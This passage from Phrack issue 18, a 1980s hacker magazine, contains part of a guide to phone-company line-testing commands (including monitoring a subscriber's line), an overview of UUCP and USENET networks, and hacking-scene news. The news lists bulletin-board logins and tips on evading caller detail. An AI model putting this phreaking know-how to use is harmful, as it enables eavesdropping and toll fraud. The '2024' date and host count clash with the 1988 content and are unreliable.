MDF trunk group from which MLT will choose an MDF trunk. Use the MDF(gr) request when the NPA-NXX that you are using has more than one frame associated with it and you can't enter cable and pair numbers. For example, to request MDF trunk group a, you should enter MDFA in the req field. To find out which trunk groups are available for your NPA-NXX you can either enter an mdf or an info request. Remember that you still have to call the frame attendant to have the trunk and line connected and also disconnect when you are finished. Mdfin: Test the inside part of a line Mdfin starts a series of tests that do an extensive analysis of the inside line. This includes line circuit and dial tone tests. The mdfin request uses a special line that runs from the MLT testing equipment to the MDF. You must ask the frame attendant to connect this line to the subscriber's line. Then you must enter the telephone number of this special line on the test mask along with mdfin and the subscriber's number. For more information see the mdfio module in the MLT-2 user guide. Mdfout: Test the outside part of a line Mdfout starts a series of tests that do an extensive analysis of the outside line. This includes the DC and AC tests. The mdfout request uses a special line that runs from the mlt testing equipment to the MDF. You must ask the frame attendant to connect this line to the subscriber's line. Then you must enter the telephone number of this special line on the test mask along with mdfin and the subscriber's number. Mon: Monitor a subscriber's line Mon lets you monitor a subscriber's line. Sometimes you are a better judge of whether there is noise, speech, or a recording on a line than MLT is. If you want to listen to a line to determine if one of these conditions does exist, use the mon request. You can also be automatically placed in the monitor mode by MLT in some cases. You will be put in monitor mode if you request ring, talk or psr but MLT thinks the line is busy, or if you must talk to the subscriber to run a rev, dial, or tt. A callback number is required. You can request quick, look, or full while in monitor mode. Psr: Release a permanent signal Psr attempts to release a permanent signal in a step-by-step central office. A permanent signal is a steady dial tone on a line. A frequent cause is a receiver that is off-hook. Psr lets you remove the permanent signal so that you can monitor for room noise. If when you monitor the line you still hear steady dial tone, you should suspect permanent signal on the line. Psr requires a callback path between your callback line and the subscriber's line. You should already have the callback path established before you enter a psr request. Qin: Run a quick series in toward the co Qin starts a series of tests that make a "quick" check of the loop toward the central office. It includes the same tests as quick. It can also identify a co line circuit if one is present and will report a line circuit if the DC resistances look like one is present. An MDF access is required for a qin request. You can use qin to test special switching machines. For example, if the circuit has 2 loops connected at the frame, qin lets you look at the 2nd loop (both full & loop only test toward one loop). Rev: Identify touch-tone polarity reversals Rev helps you identify a touch-tone polarity reversal. On a good line, the battery is connected to the ring wire and the ground is on the tip wire. These wires must be connected to specific terminals on the telephone. If they are reversed, the subscriber will be able to receive calls but will not be able to dial out. If the line is reversed, you won't be able to hear the tones before you enter a rev request. Rev only reserves the line temporarily. A callback path should be established before you make a rev request. Rin: Ring a subscriber's special services line Rin lets you ring a telephone on a special services line. A callback is required. If one doesn't exist, ring in sets one up for you. To answer the callback, answer its ring and press "0" on the touch-tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy, the call in progress will be interrupted. Use rin to contact the subscriber or a technician at the subscriber's home. MDF access is required to request rin. Ring(#): Ring a specific party on a multi-party line Ring(#) lets you choose the telephone that you want to ring on a multiparty line. A multiparty line is one on which more than one subscriber is connected to the same pair of wires. Normally MLT checks the line records of the telephone number you enter using the ring request, and automatically rings the correct party. When the line records indicate 2, 4, or 8 party, use the ring(#) request and specify the party number in place of the "#." If you request ring1, MLT rings the party connected to the ring side. If you request ring2, MLT rings the party connected on the tip side. Ring: Ring a subscriber's line Ring lets you ring a telephone on a single party line. A callback path is required but if one doesn't exist, ring sets one up for you. To answer your callback, answer its ring and press "0" on the touch-tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy or cannot be rung, you will be placed in monitor mode to listen for noise or speech. Use ring to contact the subscriber or a repair person at the subscriber's home. Ringer: Check ringer configuration on a line Ringer counts the number of ringers on each part of the loop (tip-ring, tip-ground, and ring-ground). The results tell you the number of telephones found by MLT. If there is a problem, the summary explains the problem. If you are testing a party line, some of the ringers found may belong to the other party. Rin: Ring a subscriber's special services line Rin lets you ring a telephone on a special services line. A callback is required. If one doesn't exist, ring-in sets one up for you. To answer the callback, answer its ring and press "0" on the touch-tone pad, and listen for ringing. When the subscriber answers, you will be placed in talk mode. If the line is busy the call in progress will be interrupted. Listen for noise of speech. Use rin to contact the subscriber or a technician at the subscriber's home. MDS is required to request rin. Soak: Identify swinging resistance condition Soak identifies unstable ground faults (swinging resistance) on a line. Voltage is applied to the line and a series of DC resistance measurements are made to see the effect of that voltage. If the resistance values are all low, the fault is probably stable. If even one value is 20% larger than the original measurement, the fault may be unstable (swinging). A repair person who is dispatched may have trouble locating a swinging fault. Use soak when you find a 10-1000 kohm ground on a q test (full & loop include the soak test), or just prior to dispatch to double-check a line's condition. Ssa: Special services access The ssa request is used to access non-locally switched customer telephone lines. Accessing these lines is a special case of a no-test trunk access. However, if they go through a digital loop carrier such as SLC Series 5, and there is special equipment available in the co, then you can test them with a no-test trunk special se rvices access. This means you don't have to call the trunk. The request can only be run from the stv mask. Stv: Special services trouble verification request The stv request changes you from a tv mask to an stv mask. Stv is used when you need to test special services circuits (non-locally switched lines) served by digital loop carrier systems such as SLC Series 5. Switching to the stv mask will not affect any information you left in the tv mask -- your status lines will remain the same; however, the middle section of the mask will be changed. Any request done from a tv mask can also be done from an stv mask, but not vice versa. The stv request can only be run from a tv mask. Take: Take control of a long-term access Take is used when you want to transfer a long-term access from someone else's terminal to your terminal. To take control of a no-test access, enter the telephone number that you want to transfer in the tn field. To transfer an MDF access to your terminal, enter the NPA-NXX in the tn field and the MDF number in the space to the right of the regular tn field of the tv mask. Finally, enter take in the req field. If the previous holder had a callback established, it would not be remover. If necessary, you must remove the callback using xcb and request a new callback to your telephone. Talk: Talk over the subscriber's line Talk lets you talk to either a subscriber or a repair person on a subscriber's line. Talk does not ring the line so there must be someone waiting to talk to you on the other end of the line. A callback path is required for the talk request but if one does not already exist, talk will set one up for you if you have a callback number entered. If the line is already accessed before the talk request, MLT enters a "t" and the last 2 digits of the callback number under the callback heading and updates the time since access. You can request quick, loop, or full while in talk mode. Talkin: Talk over the subscriber's special services line Talkin lets you talk to a subscriber or a repair person on a special services line. Talkin does not ring the line so there must be someone waiting to talk to you on the other end of the line. A callback path is required for the talkin request but if one does not already exist, talkin sets one up for you if you have a callback number entered. If the line is already accessed before the talkin request, MLT enters a "t" and the last 2 digits of the callback number under the callback heading and updates the time since access. You must have an MDF access to request talkin. Tone+: Use loud tone to help identify a pair Tone+ puts a high amplitude tone on a line. It is used on pairs that are very long. The extra amplitude helps the repair-person hear the tone over long distances. Tone is used to help a repair person to locate the correct pair in a cable with many pairs of wires in it. Use tone+ when a repair person requests a tone on a very long pair. If you have a callback on the line, it will be placed in monitor mode. If the status line gets brighter & you get a changed state message, it means 1) The repair person found the pr & wants to talk to you or 2) The subscriber has gone off-hook. Tone: Use tone to help craft identify a pair Tone puts a metallic tone on a line. There may be many pairs in a single cable, making it difficult for a repair person to locate a specific line. The tone makes this job easier. Before MLT places a tone on a line it does a test. The results tell you if there is a fault on the line. If there is a callback on the line when you request a tone, it will be placed in monitor mode. If the status line gets brighter and you get a changed state message, it means either 1) The repair person found the pr & wants to talk to you or 2) The subscriber has gone off-hook. Toneca: Use tone to help identify a cable Toneca puts a longitudinal tone on a line. This tone helps the repair person find the cable binder group that the pair is in. The repair person finds the correct cable by listening for the tone. Because the tone can be heard on pairs other than the one you put it on, when tone or tone+ are inappropriate. If the repair person does not have time to find the cable on the first try, you can repeat the request. Before placing the tone on the line, MLT does a pretest and tells you if there is a fault on the line. Tonein: Use tone to help a technician identify a special services pair Tonein puts a metallic tone on a special services line. It may be difficult for a technician to locate a specific line. The tone makes this job easier. Before MLT places a tone on a line it does a pretest. An MDF access is required in order to request a tonein. If a callback is on the line when you request tonein, it is placed in monitor mode. If the status line gets brighter and you get a changed state message, it means either 1) The repair person found the pr & wants to talk to you or, 2) The subscriber has gone off-hook. Tt: Test the subscriber's touch-tone pad Tt checks a subscriber's touch-tone pad. It analyzes the tones produced when the subscriber presses the button before you make a tt request. You in the sequence 1 through 0. You must instruct the subscriber to press the buttons after hearing dial tone. Mlt will signal you over your headset with two beeps if the pad is good or one or no beeps if it is bad. A callback path should be established before you make a tt request. You must use a no-test trunk access to request it. You can use the ring request to contact the subscriber and set up a callback. Tv: Trouble verification request The tv request changes you from an stv mask to a tv mask. Tv is used when you need to do interactive testing of locally switched telephone lines, or tests using an MDF trunk. Switching to the tv mask will not affect any information you left in the stv mask -- your status lines will remain the same; however, the middle section of the mask will be changed. Any request done from a tv mask can also be done from an stv mask, but not vice versa. The request can only be run from a stv mask. Ver##: Get definition and example of a ver code Ver## gives you a description of the ver code that you type in place of the ##. For example, a ver22 request will give you a definition of verification code number 22 and an example of a typical set of test results that might accompany a ver code of 22. Use this request whenever you can't remember what a certain ver code means. MLT stores your tv mask when you request ver code information. Ver: Test the entire telephone line Ver starts a series of tests that do an extensive analysis of the entire line. This includes both the inside and outside portions. Many individual tests are run but only the ver code and summary messages are displayed. Outside, MLT checks for AC and DC faults. Inside, it checks the line circuit and dial tone. Thanks to AT&T and the Bell Operating Companies. Control C and The Tribunal of Knowledge If you have any questions or comments contact: Control C Jack Death Prime Suspect The Prophet The Urvile Or any other member of the TOK. ============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #9 of 11 The Tribunal of Knowledge presents.. A Few Things About Networks =========================== Brought to you by Prime Suspect (TOK) June 1, 2024 Seems like if you're into hacking you sometime or another run into using networks, whether it be Telenet, Tymnet, or one of the Wide Area Networks. One popular Network that hackers have used for some time is Arpanet. Arpanet has been around for quite a long time. There are changes made to it almost daily and the uses of it are much more than just logging into other systems. Many college students find themselves getting acquainted with Bitnet these days. Bitnet is SO new compared to other networks that it's got a lot of potential left. There is much more to it then just mail and file transfers. There are interactive uses such as the RELAY for real-time discussion with others (equivalent to a CB mode) and another popular use is the network information center to receive technical files about networking. There are many many mail addresses that are used for database searching, and subscribing to electronic magazines. You will find these same uses on other Wide Area Networks also. I will give you 3 related network areas. These three areas include: The AT&T company networks, UUCP, and Usenet cooperative networks. Please note that some of the information I gathered for this file dated back to 1986. But I tried to keep it as current as possible. AT&T (Company Network) ---------------------- AT&T has some internal networks, most of which use internally developed transport mechanisms. Their most widely used networks are UUCP and USENET, which are not limited to that corporation and which are discussed later. All internal AT&T networks support UUCP-style h1!h2!h!u source routing syntax and thus appear to the user to be UUCP. Within AT&T, UUCP links are typically over 1,200-bps dial-up telephone lines or Datakit (see below). Among AT&T's other networks, CORNET is an internal analog phone network used by UUCP and modems as an alternative to Direct Distance Dialing (DDD). Datakit is a circuit-switched digital net and is similar to X.25 in some ways. Most of Bell Laboratories is trunked together on Datakit. On top of DK transport service, people run UUCP for mail and dkcu for remote login. In addition to host-to-host connections. Datakit supports RS232 connections for terminals, printers, and hosts. ISN is the version of Datakit supported by AT&T Information Systems. Bell Laboratories in Holmdel, New Jersey, uses ISN for internal data communication. BLICN (Bell Labs Interlocation Computing Network) is an IBM mainframe RJE network dating from the early 1970s when Programmer's Workbench (PWB) was a common version of the UNIX operating system. Many UNIX machines with PWB-style RJE links use BLICN to queue mail and netnews for other UNIX machines. A major USENET host uses this mechanism to feed news to about 80 neighbor hosts. BLICN covers Bell Laboratories installations in New Jersey, Columbus, Ohio, and Chicago, and links most computer center machines. BLN (Bell Labs Network) is an NSC Hyperchannel at Indian Hill, Chicago. AT&T Internet is a TCP/IP internet. It is not a major AT&T network, though some of the best-known machines are on it. There are many ethernets connected by TCP/IP over Datakit. This internet may soon be connected to the ARPA Internet. ACCUNET is AT&T's commercial X.25 network. AT&T MAIL is a commercial service that is heavily used within AT&T Information Systems for corporate internal mail. UUCP (Cooperative Network) -------------------------- The name "UUCP," for Unix to Unix CoPy, originally applied to a transport service used over dial-ups between adjacent systems. File transfer and remote command execution were the original intent and main use of UUCP. There was an assumption that any pair of communicating machines had direct dial-up links, that is, that no relaying was done through intermediate machines. By the end of 1978, there were 82 hosts within Bell Laboratories connected by UUCP. Though remote command execution and file transfer were heavily used, there is no mention of mail in the standard reference. There was another similar network of "operational" hosts with UUCP links that were apparently outside Bell Laboratories, but still within the Bell System. The two networks intersected at one Bell Laboratory machine. Both of these early networks differed from the current UUCP network in assuming direct connections between communicating hosts and in not having mail service. The UUCP mail network proper developed from the early networks and spread as the UUCP programs were distributed as part of the Unix system. Remote command execution can be made to work over successive links by arranging for each job in the chain to submit the next one. There are several programs that do this: Unfortunately, they are all incompatible. There is no facility at the transport level for routing beyond adjacent systems or for error acknowledgement. All routing and end-to-end reliability support is done explicitly by application protocols implemented using the remote command execution facility. There has never been any remote login facility associated with UUCP, though the cu and tip programs are sometimes used over the same telephone links. The UUCP mail network connects a very diverse set of machines and users. Most of the host machines run the UNIX operating system. Mail is the only service provided throughout the network. In addition to the usual uses of mail, much traffic is generated as responses to USENET news. The same underlying UUCP transport mechanisms are also used to support much of USENET. The UUCP mail network has many problems with routing (it is one of the few major networks that uses source routing) and with its scale. Nonetheless, it is extremely popular and still growing rapidly. This is attributable to three circumstances: ease of connection, low cost, and its close relationship with the USENET news network. Mailing lists similar to those long current on the ARPANET have recently increased in popularity on the UUCP mail network. These permit a feature that USENET newsgroups cannot readily supply: a limitation on access on a per-person basis. Also, for low-traffic discussions mailing lists are more economical, since traffic can be directed to individuals according to their specific interests. There is no central administration. To connect to the network, one need only find one machine that will agree to be a neighbor. For people at other hosts to be able to find your host, however, it is good to be registered in the UUCP map, which is kept by the group of volunteers known as the UUCP Project. The map is posted monthly in the USENET newsgroup "comp.mail.maps". There is a directory of personal addresses on the UUCP network, although this is a commercial venture unrelated to the UUCP Project. Each host pays for it's own links; some hosts encourage others to connect to them in order to shorten mail delivery paths. There is no clear distinction between transport and network layers in UUCP, and there is nothing resembling an Internet Protocol. The details of the transport protocol are undocumented (apparently not actually proprietary to AT&T, contrary to rumor, though the source code that implements the protocol and is distributed with UNIX is AT&T's trade secret). Mail is transferred by submitting a mail command over a direct connection by the UUCP remote command execution mechanism. The arguments of the mail command indicate whether the mail is to be delivered locally on that system or resubmitted to another system. In the early days, it was necessary to guess the route to a given host and hope. The only method of acknowledgment was to ask the addressee to reply. Now there is a program (pathalias) that can compute reasonable routes from the UUCP map, and there is software that can automatically look up those routes for users. The UUCP mail network is currently supported in North America mostly by dial-up telephone links. In Europe there is a closely associated network called EUnet, and in Japan there is JUNET. The most common dial-up link speed on the UUCP mail network is 1,200 bps though there are still a few 300-bps links, and 2,400 bps is becoming more popular. Actually, now I believe that 1200-bps is still very common, but 2400 may be just as common, and 9600-bps is much more common than ever thought it would be in 1986. There are also many sites that use 19,200-bps for using UUCP. When systems are very close, they are sometimes linked by dedicated lines, often running at 9,600 bps. Some UUCP links are run over local-area networks such as ethernets, sometimes on top of TCP/IP (though more appropriate protocols than UUCP are usually used over such transport media, when UUCP is used it's usual point-to-point error correction code is bypassed to take advantage of the reliability of the underlying network and to improve bandwidth). Some such links even exist on long-haul packet networks. The widespread use of more sophisticated mail relay programs (such as sendmail and MMDF) has increased reliability. Still, there are many hosts with none of these new facilities, and the sheer size of the network makes it unwieldly. The UUCP mail network has traditionally used source code routing with a syntax like hosta!hostb!hostc!host!user. The UUCP map and pathalias have made this bearable, but it is still a nuisance. An effort is underway to alleviate the routing problems by implementing naming in the style of ARPA Internet domains. This might also allow integration of the UUCP name space into the ARPA Internet domain name space. In fact there is now an ATT.COM domain in which most hosts are only on UUCP or CSNET. Most UUCP hosts are not yet in any Internet domain, however. This domain effort is also handled by the UUCP Project and appears to be proceeding at a methodical but persistent pace. The hardware used in the UUCP mail network ranges from small personal computers through workstations to minicomputers, mainframes and super- computers. The network extends throughout most of North America and parts of Asia (Korea and Israel). Including hosts on the related networks JUNET (in Japan) and EUnet (in Europe), there are at least 7,000 hosts on the network; possibly 10,000 or more. (EUnet and JUNET hosts are listed in the UUCP maps.) The UUCP Project addresses are: uucp-query@cbatt.ATT.COM cbatt!uucp-query uucp-query@cbatt.UUCP Much information about UUCP is published in USENET newsgroups. USENET (Cooperative Network) ---------------------------- USENET began in 1980 as a medium of communication between users of two machines, one at the University of North Carolina, the other at Duke University. It has since grown exponentially to its current size of more than 2000 machines. In the process, the software has been rewritten several times, and the transport mechanisms now used to support it include not only the original UUCP links, but also X.25, ACSNET, and others. USENET combines the idea of mailing lists as long used on the ARPANET with bulletin-board service such as has existed for many years on TOPS-20 and other systems, adding a freedom of subject matter that could never exist on the ARPANET, and reaching a more varied constituency. While chaotic and inane ramblings abound, the network is quite popular. The USENET news network is a distributed computer conferencing system bearing some similarities to commercial conferencing systems like CompuServe, though USENET is much more distributed. Users pursue both technical and social ends on USENET. Exchanges are submitted to newsgroups on various topics, ranging from gardening to astronomy. The name "USENET" comes from the USENIX Association. The Professional and Technical UNIX User's Group. The name UNIX is a pun on Multics, which is the name of a major predecessor operating system. (The pun indicates that, in areas where Multics tries to do many things, UNIX tries to do one thing well.) USENET has no central administration, though there are newsgroups to which introductory and other information about the network is posted monthly. USENET is currently defined as the set of hosts receiving the newsgroup news.announce. There are about a dozen hosts that constitute the backbone of the network, keeping transit times low by doing frequent transfers among themselves and with other hosts that they feed. Since these hosts bear much of the burden of the network, their administrators tend to take a strong interest in the state of the network. Most newsgroups can be posted to by anyone on the network. For others, it is necessary to mail a submission to a moderator, who decides whether to post it. Most moderators just filter out redundant articles, though some make decisions on other grounds. These newsgroup moderators form another group interested in the state of the network. Newsgroups are created or deleted according to the decisions made after the discussion in the newsgroup "news.groups". Each host pays its own telephone bills. The backbone hosts have higher bills than most other hosts due to their long-distance links among themselves. The unit of communication is the news article. Each article is sent by a flooding routing algorithm to all nodes on the network. The transport layer is UUCP for most links, although many others are used, including ethernets, berknets, and long-haul packet-switched networks; sometimes UUCP is run on top of the others, and sometimes UUCP is not used at all. The many problems with USENET (e.g. reader overload, old software, slow propagation speed, and high and unevenly carried costs of transmission) have raised the possibility of using the experience gained in USENET to design a new network to replace it. The new network might also involve at least a partial replacement for the UUCP mail network. One unusual mechanism that has been proposed to support the new network is stargate. Commercial television broadcasting techniques leave unused bandwidth in the vertical blanking interval between picture frames. Some broadcasters are currently using this part of the signal to transmit Teletext services. Since many cable-television channels are distributed via geo-synchronous satellites, a single input to a satellite uplink facility can reach all of North America on an appropriate satellite and channel. A satellite uplink company interested in allowing USENET-like articles to be broadcast by satellite on a well-known cable-television channel has been found. Prototypes of hardware and software to encode the articles and other hardware to decode them from a cable-television signal have been built and tested in the field for more than a year. A new, reasonably price model of the decoding box may be available soon. This facility would allow most compatible systems within the footprint (area of coverage) of the satellite and with access to the appropriate cable- television channel to obtain decoding equipment and hook into the network at a very reasonable cost. Articles would be submitted for transmission by UUCP links to the satellite uplink facility. Most of the technical problems of Stargate seem to have been solved. More than 90 percent of all USENET articles reach 90 percent of all hosts on the network within three days. Though there have been some famous bugs that caused loss of articles, that particular problem has become rare. Every USENET host has a name. That host name and the name of the poster are used to identify the source of an article. Though those hosts that are on both the UUCP mail and USENET news networks usually have the same name on both networks, mail addresses have no meaning on USENET: Mail related to USENET articles is usually sent via UUCP mail; it cannot be sent over USENET, by definition. Though the two networks have always been closely related, there are many more hosts on UUCP than on USENET. In Australia the two networks do not even intersect except at one host. There are different distributions of newsgroups on USENET. Some go everywhere, whereas others are limited to a particular continent, nation, state or province, city, organization, or even machine, though the more local distributions are not really part of USENET proper. The European network EUnet carries some USENET newsgroups and has another set of it's own. JUNET in Japan is similar to EUnet in this regard. There are about 2024 USENET hosts in the United States, Canada, Australia, and probably in other countries. The hosts on EUnet, SDN, and JUNET communicate with USENET hosts: The total number of news hosts including ones on those three networks is probably at least 2500. The UUCP map includes USENET map information as annotations. A list of legitimate netwide newsgroups is posted to several newsgroups monthly. Volunteers keep statistics on the use of the various newsgroups (all 250 of them) and on frequency of posting by persons and hosts. These are posted to news.newslists once a month, as is the list of newsgroups. Important announcements are posted to moderated newsgroups, news.announce and news.announce.newusers, which are intended to reach all users (the current moderator is Mark Horton, cbosgd!mark). An address for information on the network is seismo!usenet-request. News on UUNET - June 1988 ------------------------- A year ago, UUNET (Fairfax, VA) was formed to help ease the communication load of the beleaguered Usenet network of UNIX users. Usenet connections were becoming increasingly costly and difficult to maintain, a situation that prompted the Usenix Association to fund the creation of the UUNET Communications Service to assist users in accessing Usenet. Now, UUNET has become the "best connected" UNIX computer in the world, and has been authorized to function as an Arpanet mail gateway. Gateways to other networks are expected to be established in the future. I guess all use of UUNET is done through the UUCP program found on Unix operating systems. Many people are getting PC versions of the Unix Operating system now-a-days, so knowing what's available before getting hooked into a network, if that's your plan, is advised. There is an advertisement about UUNET on Bix in the networks conference somewhere. The message may be old, but still useful. The cost of using UUNET is: $30/month... and $2/hour. I think the hourly charge may only apply if connecting through Tymnet. Not sure. Accessible via Tymnet, their 800 number, or a regular local POTS number. Connections can definitely be made up to 9600 baud. 19.2K baud access may also exist. I think it does. If you're a UUNET user, and want to receive mail from someone through the UUCP network, they would address it just as any other UUCP mail address. An example is: ...uunet!warble!joeuser ------------------------------------------------------------------------------ This file has been brought to you by Prime Suspect and Tribunal of Knowledge ============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #10 of 11 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN >>>>>=-* Phrack World News *-=<<<<< PWN PWN Issue XVIII/1 PWN PWN PWN PWN Created, Compiled, and Written PWN PWN By: Epsilon PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Intro ===== Welcome to yet another issue of Phrack World News. We have once again returned to try and bring you an entertaining, and informative newsletter dedicated to the spread of information and knowledge throughout the H/P community. ______________________________________________________________________________ TOK Re-Formed ============= A group called Tribunal Of Knowledge, which has undergone previous re-formations has once again re-formed. The person who is currently "in charge" of the group says that he had permission from High Evolutionary, the group's founder, to re-form the organization. Although the group hasn't publicly announced their existence or written any files, we should be hearing from them in the near future. The Current Members of TOK Include - Control C Prime Suspect Jack Death The UrVile The Prophet Psychic Warlord Information Provided By Control C, and Prime Suspect. ______________________________________________________________________________ Phrack Inc. Support Boards ========================== Phrack Inc. has always made it a habit to set up Phrack Inc. sponsor accounts on the more popular boards around. These sponsor accounts are set up, so that the users may get in touch with the Phrack Magazine staff if they would like to contribute an article, or any other information to our publication. Please take note of the boards on which Phrack Inc. accounts are set up. Thank you. The Current List of Phrack Inc. Sponsor Boards Includes - P-80 Systems - 304/744-2253 OSUNY - 914/725-4060 The Central Office - 914/234-3260 Digital Logic's DS - 305/395-6906 The Forgotten Realm - 618/943-2399 * * - Phrack Headquarters ______________________________________________________________________________ SummerCon '88 Preliminary Planning ================================== Planning for SummerCon '88 is underway. So far, we have decided on four tentative locations: New York City, Saint Louis, Atlanta, or Florida. Since this is only tentative, no dates have been set or reservations made for a conference. If you have any comments, suggestions, etc, please let us know. If you are planning to attend SummerCon '88, please let us know as well. Thank you. Information Provided By The Forgotten Realm. ______________________________________________________________________________ LOD/H Technical Journal ======================= Lex Luthor of LOD/H (Legion of Doom/Hackers) has been busy with school, etc., so he has not had the time, nor the initiative to release the next issue of the LOD/H Technical Journal. On this note, he has tentatively turned the Journal over to Phantom Phreaker, who will probably be taking all contributions for the Journal. No additional information is available. Information Provided By The UrVile and Phantom Phreaker. ______________________________________________________________________________ Congress To Restrict 976/900 Dial-A-Porn Services ================================================= Congress is considering proposals to restrict dial-up services in an effort to make it difficult for minors to access sexually explicit messages. A House-Senate committee is currently negotiating the "dial-a-porn" proposal. Lawmakers disagree whether or not the proposal is constitutional and are debating the issue of requiring phone companies to offer a service that would allow parents, free of charge, to block the 976/900 services. Other proposals would require customers to pay in advance or use credit cards to access the 976/900 services. Some companies are currently offering free services that restrict minors from accessing sexually explicit messages. AT&T and Department of Justice officials are cooperating in a nationwide crackdown of "dial-a-porn" telephone companies. The FCC recently brought charges against one of AT&T's largest 900 Service customers, and AT&T provided the confidential information necessary in the prosecution. AT&T also agreed to suspend or disconnect services of companies violating the commission ban by transmitting obscene or indecent messages to minors. ______________________________________________________________________________ Some Hope Left For Victims Of FGD ================================= US Sprint's famed FGD (Feature Group D) dial-ups and 800 INWATS exchanges may pose no threat to individuals under switches that do not yet offer equal access service to alternate long distance carriers. Due to the way Feature Group D routes its information, the ten-digit originating number of the caller is not provided when the call is placed from a non-equal access area. The following was taken from an explanation of US Sprint's 800 INWATS Service. ************************************************************* CALL DETAIL ************************************************************* With US Sprint 800 Service, a customer will receive call detail information for every call on every invoice. The call detail for each call includes: o Date of call o Time of call o The originating city and state o The ten-digit number of the caller if the call originates in an equal access area or the NPA of the caller if the non-equal access area. o Band into which the call falls o Duration of the call in minutes o Cost of the call This came directly from US Sprint. Do as you choose, but don't depend on this. Information Provided by US Sprint. ______________________________________________________________________________ Telenet Bolsters Network With Encryption ======================================== Telenet Communications Corporation strengthened its public data network recently with the introduction of data encryption capability. The X.25 Encryption Service provides a type of data security previously unavailable on any public data network, according to analysts. For Telenet, the purpose of the offering is "to be more competitive; nobody else does this," according to Belden Menkus, an independent network security consultant based in Middleville, NJ. The service is aimed at users transmitting proprietary information between host computers, such as insurance or fund-transfer applications. It is priced at $200 per month per host computer connection. Both the confidentiality and integrity of the data can be protected via encryption. The scheme provides end-to-end data encryption, an alternative method whereby data is decrypted and recrypted at each node in the network. "This is a recognition that end-to-end encryption is really preferable to link encryption," Menkus said. The service is available over both dial-up and leased lines, and it supports both synchronous and asynchronous traffic at speeds up to 9.6K BPS. Telenet has approved one particular data encryption device for use with the service, The Cipher X 5000, from Technical Communications Corporation (TCC), a Concord, Massachusetts based vendor. TCC "has been around the data encryption business for quite a while," Menkus said. The Cipher X implements the National Bureau of Standards' Data Encryption Standard (DES). DES is an algorithm manipulated by a secret 56 bit key. Computers protected with the device can only be accessed by users with a matching key. The data encryptor is installed at user sites between the host computer and the PAD (Packet Assembler/Disassembler). Installation of the TCC device does not affect the user's ability to send non-encrypted data, according to Telenet. By maintaining a table of network addresses that require encryption, the device decides whether or not to encrypt each transmission. Information Provided by Network World. ______________________________________________________________________________ ============================================================================== ==Phrack Inc.== Volume Two, Issue 18, Phile #11 of 11 PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN >>>>>=-* Phrack World News *-=<<<<< PWN PWN Issue XVIII/2 PWN PWN PWN PWN Created By Knight Lightning PWN PWN PWN PWN Compiled and Written PWN PWN by Epsilon PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN PWN Intro ===== It seems that there is yet some things to be covered. In addendum, we will be featuring, as a part of PWN, a special section where up-and-coming H/P Bulletin Boards can be advertised. This will let everyone know where the board scene stands. If you have a board that you feel has potential, but doesn't have good users, let us know. Thanks. ______________________________________________________________________________ Doctor Cypher Busted? ===================== Doctor Cypher, who frequents the Altos Chat, The Dallas Hack Shack, Digital Logic's Data Service, The Forgotten Realm, P-80 Systems, and others, is believed to have had his modem confiscated by "Telephone Company Security," and by his local Sheriff. No charges have been filed as of this date. He says he will be using a friend's equipment to stay in touch with the world. Information Provided by Hatchet Molly ______________________________________________________________________________ Give These Boards A Call ======================== These systems have potential, but need good users, so give them a call, and help the world out. The Autobahn - The Outlet Private - 703/629-4422 313/261-6141 Primary - 'central' newuser/kenwood Sysop - The Highwayman Sysop - Ax Murderer Hack/Phreak Private Hack/Phreak Dallas Hack Shack - The Forgotten Realm - 214/422-4307 618/943-2399 Apply For Access Apply For Access Sysop - David Lightman Sysop - Crimson Death Private Hack/Phreak Private H/P & Phrack Headquarters ______________________________________________________________________________ AllNet Hacking Is Getting Expensive =================================== For those of you who hack AllNet Long Distance Service, watch out. AllNet Communications Corp. has announced that they will be charging $500.00 PER ATTEMPT to hack their service. That's not PER VALID CODE, that's PER ATTEMPT. Sources say that The Fugitive (619) received a $200,000.00 phone bill from AllNet. This may set examples for other long distance communication carriers in the future, so be careful what you do. ______________________________________________________________________________ Editorial - What Is The Best Way To Educate New Hackers? ======================================================== Since the "demise" of Phreak Klass 2600 and PLP, the H/P world has not seen a board dedicated to the education of new hackers. Although PK2600 is still up (806/799-0016, educate) many of the old "teachers" never call. The board has fallen mainly to new hackers who are looking for teachers. This may pose a problem. If boards aren't the way to educate these people (I think they are the best way, in fact), then what is? Certainly not giant Alliance conferences as in the past, due to recent "black-listing" of many "conferees" who participated heavily in Alliance Teleconferencing in the past. I think it might be successful if someone was able to set up another board dedicated to teaching new hackers. A board which is not private, but does voice validate the users as they login. Please leave some feedback as to what you think of this idea, or if you are willing to set this type of system up. Thanks. ______________________________________________________________________________ US Sprint Employee Scam ======================= The US Sprint Security Department is currently warning employees of a scam which could be affecting them. An unidentified man has been calling various employees throughout the US Sprint system and telling them that if they give him their FON Card numbers, they will receive an additional US Sprint employee long-distance credit. The Security Department says, "this is a 100 percent scam." "If you're called to take part in this operation, please call the Security Department at (816)822-6217." Information Provided By US Sprint ______________________________________________________________________________ .